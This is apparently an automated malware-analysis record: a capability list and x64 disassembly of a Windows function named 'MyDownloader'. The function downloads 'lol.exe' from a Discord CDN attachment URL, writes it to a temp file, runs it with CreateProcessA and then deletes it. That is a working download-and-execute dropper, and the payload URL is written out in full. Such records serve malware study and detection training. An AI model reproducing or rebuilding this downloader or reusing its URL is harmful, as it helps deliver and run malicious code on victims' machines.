Function at 0x140001070
Capabilities:
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push r14
push r15
sub rsp, 0x318
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x300], rax
xor r15d, r15d
lea rcx, str.MyDownloader
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
jne 0x1400010ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpen_failed_with_error:__lu_n
call fcn.140001010
jmp 0x1400013e2
mov qword [rsp + 0x28], r15
lea rdx, str.https:__cdn.discordapp.com_attachments_1292211224016191528_1294761867952128030_lol.exe_ex670c3074is670adef4hm426d9f4086fe83c1b1d0b9669a45354b10fa51c3bdb0972be4262e3e8f7f97d2
xor r9d, r9d
mov dword [rsp + 0x20], 0x84000000
xor r8d, r8d
mov qword [rsp + 0x338], rbp
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbp, rax
test rax, rax
jne 0x140001123
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenUrlA_failed_with_error:__lu_n
call fcn.140001010
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400013da
mov qword [rsp + 0x310], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x140001170
lea rcx, str.____Memory_allocation_failed._n
call fcn.140001010
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400013d2
mov qword [rsp + 0x330], rbx
lea r9, [rsp + 0x68]
mov qword [rsp + 0x340], rsi
mov r8d, 0x400
mov rdx, rax
mov rcx, rbp
mov esi, r15d
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400011f3
nop
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x1400011f3
add esi, eax
lea ebx, [rsi + 0x400]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, rdi
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x140001291
mov edx, esi
lea r9, [rsp + 0x68]
add rdx, rax
mov r8d, 0x400
mov rcx, rbp
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011a0
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rdi, rdi
je 0x1400013c2
lea rdx, [rsp + 0x1f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rsp + 0xe0]
xor r8d, r8d
lea rdx, [0x140003394]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0xe0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400012c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFile_failed_with_error:__lu_n
call fcn.140001010
jmp 0x1400013ae
lea rcx, str.____Memory_reallocation_failed._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400013c2
lea r9, [rsp + 0x6c]
mov qword [rsp + 0x20], r15
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000137a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcess_failed_with_error:__lu_n
call fcn.140001010
jmp 0x1400013ae
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x340]
mov rbx, qword [rsp + 0x330]
mov rdi, qword [rsp + 0x310]
mov rbp, qword [rsp + 0x338]
xor eax, eax
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.140001410
add rsp, 0x318
pop r15
pop r14
ret